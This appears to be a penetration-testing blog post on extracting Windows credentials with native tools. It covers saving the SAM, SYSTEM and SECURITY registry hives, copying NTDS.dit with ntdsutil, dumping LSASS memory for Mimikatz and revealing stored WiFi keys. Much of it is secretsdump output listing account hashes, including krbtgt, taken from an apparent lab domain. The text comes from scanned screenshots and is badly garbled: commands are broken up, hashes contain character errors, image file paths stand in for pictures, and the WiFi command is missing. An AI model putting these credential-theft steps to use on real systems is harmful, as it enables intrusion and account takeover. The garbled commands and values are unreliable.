Extracting Windows Credentials Using Native Tools

Most penetration testing toolkits offer the ability to extract host credentials. However being able to carry out this task in environments where code execution may be detected, or is prevented through application whitelisting is useful.

In this post we’re going to be looking at how to extract some of these credentials only using native Windows tools.

Extracting the SAM database

The Security Account Manager (SAM) database stores user passwords on a system. Given local administrator access to a host, these credentials can be retrieved by taking a backup of a portion of the systems registry:

: ystem32 >reg<br />
he operation completed<br />
: ystem32 >reg<br />
he operation completed<br />
: ystem32 >reg<br />
he operation completed<br />
saue hklm\sam c<br />
successfully.<br />
saue hklm\system c<br />
successfully.<br />
saue hklm\security c<br />
successfully.

The files can then be copied to a Linux system, and recontructed using impacket-secretsdump:

impacket-secretsdump -sam SAM -system SYSTEM -security 
Impacket vO.9.17 
Copyright 2002-2018 Core Security Technologies 
Target system bootKey: ox2dc29121d5755e2a5bfd6b255a443909 
[*] Dumping local SAM hashes (uid: rid: Imhash:nthash) 
SECURITY LOCAL 
Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : fc525c9683e8fe067095ba2ddc971889 : : : 
Guest : 501 : aad3b435b51404eeaad3b435b51404ee : cf184ecf7d18d9d6c3d7aaob98b85b46 : . 
IEUser: 1000 : aad3b435b51404eeaad3b435b51404ee : fc525c9683e8fe067095ba2ddc9718892 : : 
sshd : 1001 : aad3b435b51404eeaad3b435b51404ee : b311doe43bc4d9c93c408cc7ba8efa81: : . 
sshd server: : . 
[*] Dumping cached domain logon information (uid:encryptedHash: longDomain:domain) 
alice :486d32ad143aa6f537debb3bf88abdf7 : BGTEST. LOCAL: BGTEST: : . 
[*] Dumping LSA Secrets 
[ * ] $MACHINE.ACC 
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8effd0fb3ddbb38623d9bd5a75ebf242 
[ * ] DPAPI SYSTEM 
0000 
0010 
0020 
01 OO OO OO 87 BB OO 13 2B 5E 4A 9A 7F 55 DO 8D 
D7 26 6C 9F 80 DE 69 88 A7 13 3B E4 30 67 F7 A2 
Fl 09 98 76 C6 A3 2F CC F9 EB 90 DF 
i...;.og.. 
..v.•/.. 
DPAPI SYSTEM:0100000087bb00132b5e4a9a7f55d08dd7266c9fb0de6988a7133be43067f7a2f1099876c6a32fccf9eb90df 
[ * ] NL$KM 
0000 
0010 
0020 
0030 
DO 
26 
02 
75 
22 
57 
AD 
76 
17 
ED 
62 
46 
85 
46 
80 
17 
86 
96 
97 
DO 
72 
26 
53 
DI CO 
E3 22 
14 
AE 
.&.WV.......r.J. 
..u..b./....S.". 
NL$KM:c7d00222ed175bfd5a1f1700bbd1coa2a726dc5776edd38ac6b5c196729a4a147ad13f3cege8469a5d46be9726af5ca7b0db75ad 
ea621c2ff3bbb6d053e322ae 
[ * ] SC openssHd 
(Unknown User) 
Cleaning up...

Extracting the NTDS database

The New Technology Directory Services (NTDS) database stores passwords for users in an Active Directory domain. The file is typically located at %SystemRoot%\NTDS\Ntds.dit. Since the file is locked whilst the domain controller is powered on, taking a copy of the file requires using volume shadow copies.

Ntdsutil

The ntdsutil utility can be used to backup the database:

Administrator: C: \Windows \system32 
Microsoft Windows [Uersion 6 ] 
Copyright (c) 2009 Microsoft Corporation . 
All rights reserved. 
"ac in ntds" i • 'cr Fu q q 
ntdsutil: ac in ntds 
Active instance set to • 'ntds". 
ntdsutil: i 
if m: cr Fu 
Creating snapshot... 
Snapshot set generated successfully. 
Snapshot mounted as 
_UOLUMEC$\ 
Snapshot is already mounted. 
Initiating DEFRAGMENTATION mode. 
Source Database: .dit 
Target Database: Directory\ntds . dit 
Defragmentation 
opying registry Files. 
Copying c 
Copying c 
Snapshot 
IF" media created successfully in 
tdsutil: q 
: is trator><br />
Status (z complete)<br />
90<br />
unmounted.<br />
c : \temp<br />
1 øø

Copy these files to a Linux system and extract using secretsdump:

impacket-secretsdump -ntds ntds.dit -system SYSTEM 
Impacket vO.9.17 
Copyright 2002-2018 Core Security Technologies 
Target system bootKey: ox489d2e6c6631120aa9657ae8eca07470 
-security SECURITY LOCAL 
[*] Dumping cached domain logon information (uid:encryptedHash: longDomain:domain) 
[*] Dumping LSA Secrets 
[ * ] $MACHINE.ACC 
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8de0026a4ec8dc85689014d8b2418501 
DefaultPassword 
(Unknown user) 
[ * ] DPAPI SYSTEM 
0000 
0010 
0020 
01 oo oo oo 47 58 06 14 
19 FD E7 82 FD IF E2 DD 
FC D5 20 DA 79 85 7A 46 
02 8B 10 5E 50 6A 6A 44 
D9 30 DD 29 5D 7C 4D 8D 
86 E3 OE AD 
• ..A]jjD 
.Y.zF.... 
DPAPI SYSTEM:010000004758d61402bb105e5d6a6a4419fde7b2fd1fe2ddd930dd295d7c4d8dfcd520da79b57a46b6e30ead 
[ * ] NL$KM 
0000 
0010 
0020 
0030 
A4 FA 62 E9 82 OD 71 A9 
75 FF El 80 09 36 E6 9F 
4F AA 16 24 Fl 4E OA 37 
DD 11 82 C9 1B 46 33 09 
OA 6B AO 9C AF FD 83 EA 
09 25 C9 7B 95 F6 96 90 
33 23 2A 5A 27 50 DI 01 
AA 07 51 10 AA 06 A6 7E 
NL$KM: a4fa62e9b20d71a90a6ba09caffdb3ea75ffe1800936e69f0925c97b95f696904faa1624f14eoa3733232a5a2750d101dd11b2c9 
1b463309aa075110aa06a67e 
[*] Dumping Domain Credentials (domain\uid: rid: Imhash:nthash) 
[*] Searching for pekList, be patient 
PEK # O found and decrypted: 219a7512b5121d31da37f3e18f72799e 
[*] Reading and decrypting hashes from ntds.dit 
Administrator: 500 : aad3b435b51404eeaad3b435b51404ee : 64f12cddaa88057e06a81b54e73b949b: : . 
Guest : 501 : : 31d6cfe0d16ae931b73c59d7eoc089co: . . 
WIN-S16N6K2RCAE$ : 1000 : aad3b435b51404eeaad3b435b51404ee : 8de0026a4ec8dc85689014d8b2418501 : : : 
krbtgt : 502 : aad3b435b51404eeaad3b435b51404ee : 2e612bfcfoe63c9ab807e18cb80c104f : : : 
CLIENTI$ : 1103 : aad3b435b51404eeaad3b435b51404ee : 8effd0fb3ddbb38623d9bd5a75ebf242: : : 
bgtest . : 1104 : aad3b435b51404eeaad3b435b51404ee : 64f12cddaa88057e06a81b54e73b949b : : :

Extracting Logon Credentials From LSASS

The Local Security Authority Subsystem Service (LSASS) is a process responsible for enforcing security on a Windows system. By creating a memory dump of the process, we can extract plaintext credentials.

With local administrator rights on a host, open task manager, find lsass.exe, right click and select “Create Dump File”

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image005.png

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image006.png

Mimikatz can then dump the plaintext login credentials:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image007.png

Extracing Wifi Passwords

Wifi passwords can be extracted from the command line by entering the following:

The security key will be shown under the key content section:

Connectivity settings 
Number Of SSIDs 
SSID 
Network type 
Radio type 
Vendor extension 
Security settings 
Authentication 
Cipher 
Authentication 
Cipher 
Security key 
Key Content 
. Infrastructure 
: [ Any Radio Type ] 
Not present 
. WA2-PersonaI 
. WA2-PersonaI 
. Unknown 
. Present